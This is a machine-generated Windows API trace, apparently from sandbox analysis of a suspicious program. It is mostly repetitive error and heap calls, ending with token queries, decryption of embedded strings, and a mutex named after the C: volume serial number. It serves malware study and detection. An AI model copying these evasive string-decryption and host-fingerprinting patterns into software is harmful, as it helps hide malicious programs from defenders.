	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.837] SetLastError (dwErrCode=0x0) 
	[0206.837] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.838] SetLastError (dwErrCode=0x0) 
	[0206.838] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.839] GetLastError () returned 0x0
	[0206.839] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.840] SetLastError (dwErrCode=0x0) 
	[0206.840] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.841] SetLastError (dwErrCode=0x0) 
	[0206.841] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x64) returned 0x181788
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.842] GetLastError () returned 0x0
	[0206.842] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.843] SetLastError (dwErrCode=0x0) 
	[0206.843] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.844] SetLastError (dwErrCode=0x0) 
	[0206.844] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.845] GetLastError () returned 0x0
	[0206.845] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.846] GetLastError () returned 0x0
	[0206.846] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.847] SetLastError (dwErrCode=0x0) 
	[0206.847] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.848] SetLastError (dwErrCode=0x0) 
	[0206.848] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.849] SetLastError (dwErrCode=0x0) 
	[0206.849] GetLastError () returned 0x0
	[0206.850] SetLastError (dwErrCode=0x0) 
	[0206.850] GetLastError () returned 0x0
	[0206.850] SetLastError (dwErrCode=0x0) 
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x98) returned 0x1817f8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1f) returned 0x181898
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x28) returned 0x1818c0
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x37) returned 0x1818f0
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x3c) returned 0x181930
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x31) returned 0x181978
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x14) returned 0x1819b8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x24) returned 0x1819d8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xd) returned 0x181a08
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x17) returned 0x181a20
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2b) returned 0x181a40
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x15) returned 0x181a78
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x17) returned 0x181a98
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x22) returned 0x181ab8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xe) returned 0x181ae8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xc2) returned 0x181b00
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x3e) returned 0x181bd0
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1b) returned 0x181c18
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1d) returned 0x181c40
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x48) returned 0x181c68
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x12) returned 0x181cb8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x18) returned 0x181cd8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1b) returned 0x181cf8
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x24) returned 0x181d20
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x29) returned 0x181d50
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1e) returned 0x181d88
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x6b) returned 0x181db0
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x17) returned 0x181e28
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x14) returned 0x181e48
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xf) returned 0x181e68
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x16) returned 0x181e80
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x28) returned 0x181ea0
	[0206.850] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x27) returned 0x181ed0
	[0206.851] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x12) returned 0x181f00
	[0206.851] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x21) returned 0x181f20
	[0206.851] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x181f50
	[0206.851] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1c) returned 0x181f68
	[0206.851] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x12) returned 0x181f90
	[0206.851] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x180fd0 | out: hHeap=0x180000) returned 1
	[0206.851] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0206.851] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x180fd0
	[0206.851] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1088136) returned 0x0
	[0206.851] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x180fd0) returned 0x80
	[0206.851] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.852] SetLastError (dwErrCode=0x0) 
	[0206.852] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.853] SetLastError (dwErrCode=0x0) 
	[0206.853] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.854] SetLastError (dwErrCode=0x0) 
	[0206.854] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.855] SetLastError (dwErrCode=0x0) 
	[0206.855] GetLastError () returned 0x0
	[0206.856] SetLastError (dwErrCode=0x0) 
	[0206.856] GetLastError () returned 0x0
	[0206.856] SetLastError (dwErrCode=0x0) 
	[0206.856] GetLastError () returned 0x0
	[0206.856] SetLastError (dwErrCode=0x0) 
	[0206.856] GetLastError () returned 0x0
	[0206.856] SetLastError (dwErrCode=0x0) 
	[0206.856] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x30) returned 0x181fb0
	[0206.856] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x3300) returned 0x181fe8
	[0206.856] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x15c) returned 0x181058
	[0206.856] GetTickCount () returned 0x1cc82
	[0206.858] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x1c) returned 0x1811e8
	[0206.858] GetVersion () returned 0x23f00206
	[0206.859] GetCurrentProcess () returned 0xffffffff
	[0206.859] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x8ff954 | out: TokenHandle=0x8ff954*=0x1ec) returned 1
	[0206.859] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x8ff94c, TokenInformationLength=0x4, ReturnLength=0x8ff950 | out: TokenInformation=0x8ff94c, ReturnLength=0x8ff950) returned 1
	[0206.859] CloseHandle (hObject=0x1ec) returned 1
	[0206.859] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x20) returned 0x181210
	[0206.859] CryptAcquireContextW (in: phProv=0x108fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x108fcf0*=0x1e1320) returned 1
	[0206.885] CryptImportKey (in: hProv=0x1e1320, pbData=0x8ff848, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x8ff8b0 | out: phKey=0x8ff8b0*=0x1e9278) returned 1
	[0206.886] CryptSetKeyParam (hKey=0x1e9278, dwParam=0x1, pbData=0x8ff898, dwFlags=0x0) returned 1
	[0206.886] CryptDecrypt (in: hKey=0x1e9278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x181210, pdwDataLen=0x8ff864 | out: pbData=0x181210, pdwDataLen=0x8ff864) returned 1
	[0206.886] CryptDestroyKey (hKey=0x1e9278) returned 1
	[0206.886] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1e) returned 0x181238
	[0206.886] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x1e) returned 0x181260
	[0206.886] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x90) returned 0x181288
	[0206.886] CryptImportKey (in: hProv=0x1e1320, pbData=0x8ff820, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x8ff888 | out: phKey=0x8ff888*=0x1e9478) returned 1
	[0206.886] CryptSetKeyParam (hKey=0x1e9478, dwParam=0x1, pbData=0x8ff870, dwFlags=0x0) returned 1
	[0206.887] CryptDecrypt (in: hKey=0x1e9478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x181288, pdwDataLen=0x8ff83c | out: pbData=0x181288, pdwDataLen=0x8ff83c) returned 1
	[0206.887] CryptDestroyKey (hKey=0x1e9478) returned 1
	[0206.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181288 | out: hHeap=0x180000) returned 1
	[0206.887] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x181238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181260 | out: hHeap=0x180000) returned 1
	[0206.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181210 | out: hHeap=0x180000) returned 1
	[0206.887] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff8f0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff8f0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181238 | out: hHeap=0x180000) returned 1
	[0206.887] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x40) returned 0x181210
	[0206.887] CryptImportKey (in: hProv=0x1e1320, pbData=0x8ff87c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x8ff8e4 | out: phKey=0x8ff8e4*=0x1e9278) returned 1
	[0206.887] CryptSetKeyParam (hKey=0x1e9278, dwParam=0x1, pbData=0x8ff8cc, dwFlags=0x0) returned 1
	[0206.887] CryptDecrypt (in: hKey=0x1e9278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x181210, pdwDataLen=0x8ff898 | out: pbData=0x181210, pdwDataLen=0x8ff898) returned 1
	[0206.887] CryptDestroyKey (hKey=0x1e9278) returned 1
	[0206.887] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x34) returned 0x181258
	[0206.887] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0206.887] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0
	[0206.888] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0206.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181210 | out: hHeap=0x180000) returned 1
	[0206.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x181258 | out: hHeap=0x180000) returned 1
	[0206.888] ReleaseMutex (hMutex=0x1f0) returned 1
	[0206.888] CloseHandle (hObject=0x1f0) returned 1
	[0206.888] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x20) returned 0x181210
